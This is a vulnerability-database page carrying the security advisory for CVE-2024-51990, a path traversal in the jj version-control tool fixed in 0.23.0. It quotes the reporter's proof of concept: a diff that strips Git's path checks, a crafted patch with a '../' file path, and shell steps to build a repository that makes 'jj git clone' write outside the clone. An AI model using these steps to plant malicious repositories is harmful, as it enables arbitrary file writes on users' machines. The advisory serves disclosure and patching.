GHSA-88h5-6w7m-5w56
Vulnerability from github
9.2 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:H/SA:N
Impact
Specially crafted Git repositories can cause jj
to write files outside the clone.
Patches
Fixed in 0.23.0.
Workarounds
Not much other than to not clone repositories from untrusted sources.
References
Here's the original report from @joernchen:
When cloning a crafted Git repository it is possible to let
jj
write into arbitrary directories. This can be achieved by having file objects which contain path traversals.Reproduction steps:
Apply the following patch to Git version v.2.47.0:
```diff diff --git a/path.c b/path.c index 93491bab14..2f47e69fd1 100644 --- a/path.c +++ b/path.c @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)
static const char cleanup_path(const char path) { - / Clean it up / + / Clean it up if (skip_prefix(path, "./", &path)) { while (path == '/') path++; - } + }*/ return path; }
@@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char dst, const char src, int *prefix_len)
int normalize_path_copy(char dst, const char src) { - return normalize_path_copy_len(dst, src, NULL); +// return normalize_path_copy_len(dst, src, NULL); + memcpy(dst, src, strlen(dst)); + return 0; }
int strbuf_normalize_path(struct strbuf src) diff --git a/read-cache.c b/read-cache.c index 3c078afadb..2eb44cb26f 100644 --- a/read-cache.c +++ b/read-cache.c @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char path, unsigned mode) { char c = 0; + return PATH_OK;
if (has_dos_drive_prefix(path)) return PATH_INVALID;
```
With this patched
git
binary we can now apply a crafted patch containing a path traversal to a repository.The patch would look like:
```patch From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001 From: joernchen <joernchen@phenoelit.de> Date: Sun, 13 Oct 2024 18:09:50 +0200 Subject: [PATCH] z123
z | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 z
diff --git a/../joernchen_was_here b/../joernchen_was_here new file mode 100644 index 0000000..e69de29 -- 2.46.1 ```
Note the traversal
../joernchen_was_here
in the patch. This now can be committed to a repository using the modifiedgit
binary:
bash mkdir demo cd demo git init ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch rm ../joernchen_was_here # remove the file the modified git wrote
Now, when cloning that repository with
jj git clone
the path traversal will write above the worktree directory, allowing arbitrary file writes.I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For reproduction it should be sufficient to do
jj git clone demo.git
after unpacking the tarball.The demo repository after being cloned with
jj
will create an empty filejoernchen_was_here
right next to thedemo
directory to demonstrate the traversal.
{ "affected": [ { "package": { "ecosystem": "crates.io", "name": "jj-lib" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "0.23.0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-51990" ], "database_specific": { "cwe_ids": [ "CWE-22" ], "github_reviewed": true, "github_reviewed_at": "2024-11-07T16:18:44Z", "nvd_published_at": "2024-11-07T01:15:03Z", "severity": "CRITICAL" }, "details": "### Impact\n\nSpecially crafted Git repositories can cause `jj` to write files outside the clone.\n\n### Patches\n\nFixed in 0.23.0.\n\n### Workarounds\n\nNot much other than to not clone repositories from untrusted sources.\n\n### References\n\nHere\u0027s the original report from @joernchen:\n\n\u003e When cloning a crafted Git repository it is possible to let `jj` write\n\u003e into arbitrary directories. This can be achieved by having file objects\n\u003e which contain path traversals.\n\u003e \n\u003e Reproduction steps:\n\u003e \n\u003e Apply the following patch to Git version v.2.47.0:\n\u003e \n\u003e ```diff\n\u003e diff --git a/path.c b/path.c\n\u003e index 93491bab14..2f47e69fd1 100644\n\u003e --- a/path.c\n\u003e +++ b/path.c\n\u003e @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)\n\u003e \n\u003e static const char *cleanup_path(const char *path)\n\u003e {\n\u003e - /* Clean it up */\n\u003e + /* Clean it up\n\u003e if (skip_prefix(path, \"./\", \u0026path)) {\n\u003e while (*path == \u0027/\u0027)\n\u003e path++;\n\u003e - }\n\u003e + }*/\n\u003e return path;\n\u003e }\n\u003e \n\u003e @@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)\n\u003e \n\u003e int normalize_path_copy(char *dst, const char *src)\n\u003e {\n\u003e - return normalize_path_copy_len(dst, src, NULL);\n\u003e +// return normalize_path_copy_len(dst, src, NULL);\n\u003e + memcpy(dst, src, strlen(dst));\n\u003e + return 0;\n\u003e }\n\u003e \n\u003e int strbuf_normalize_path(struct strbuf *src)\n\u003e diff --git a/read-cache.c b/read-cache.c\n\u003e index 3c078afadb..2eb44cb26f 100644\n\u003e --- a/read-cache.c\n\u003e +++ b/read-cache.c\n\u003e @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,\n\u003e unsigned mode)\n\u003e {\n\u003e char c = 0;\n\u003e + return PATH_OK;\n\u003e \n\u003e if (has_dos_drive_prefix(path))\n\u003e return PATH_INVALID;\n\u003e ```\n\u003e \n\u003e With this patched `git` binary we can now apply a crafted\n\u003e patch containing a path traversal to a repository.\n\u003e \n\u003e The patch would look like:\n\u003e \n\u003e ```patch\n\u003e From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001\n\u003e From: joernchen \u003c[joernchen@phenoelit.de](mailto:joernchen@phenoelit.de)\u003e\n\u003e Date: Sun, 13 Oct 2024 18:09:50 +0200\n\u003e Subject: [PATCH] z123\n\u003e \n\u003e ---\n\u003e z | 0\n\u003e 1 file changed, 0 insertions(+), 0 deletions(-)\n\u003e create mode 100644 z\n\u003e \n\u003e diff --git a/../joernchen_was_here b/../joernchen_was_here\n\u003e new file mode 100644\n\u003e index 0000000..e69de29\n\u003e --\n\u003e 2.46.1\n\u003e ```\n\u003e \n\u003e Note the traversal `../joernchen_was_here` in the patch. This now can be committed to a repository\n\u003e using the modified `git` binary:\n\u003e \n\u003e ```bash\n\u003e mkdir demo\n\u003e cd demo\n\u003e git init\n\u003e ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch\n\u003e rm ../joernchen_was_here # remove the file the modified git wrote\n\u003e ```\n\u003e \n\u003e Now, when cloning that repository with `jj git clone` the path traversal will write above the worktree\n\u003e directory, allowing arbitrary file writes.\n\u003e \n\u003e I\u0027ve attached a tar.gz with the demo repo so you don\u0027t have to mess with the patched Git at all. For\n\u003e reproduction it should be sufficient to do `jj git clone demo.git` after unpacking the tarball.\n\u003e \n\u003e The demo repository after being cloned with `jj` will create an empty file `joernchen_was_here` right next\n\u003e to the `demo` directory to demonstrate the traversal.", "id": "GHSA-88h5-6w7m-5w56", "modified": "2024-11-07T16:18:44Z", "published": "2024-11-07T16:18:44Z", "references": [ { "type": "WEB", "url": "https://github.com/martinvonz/jj/security/advisories/GHSA-88h5-6w7m-5w56" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51990" }, { "type": "PACKAGE", "url": "https://github.com/martinvonz/jj" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:H/SA:N", "type": "CVSS_V4" } ], "summary": "jj vulnerable to path traversal via crafted Git repositories" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.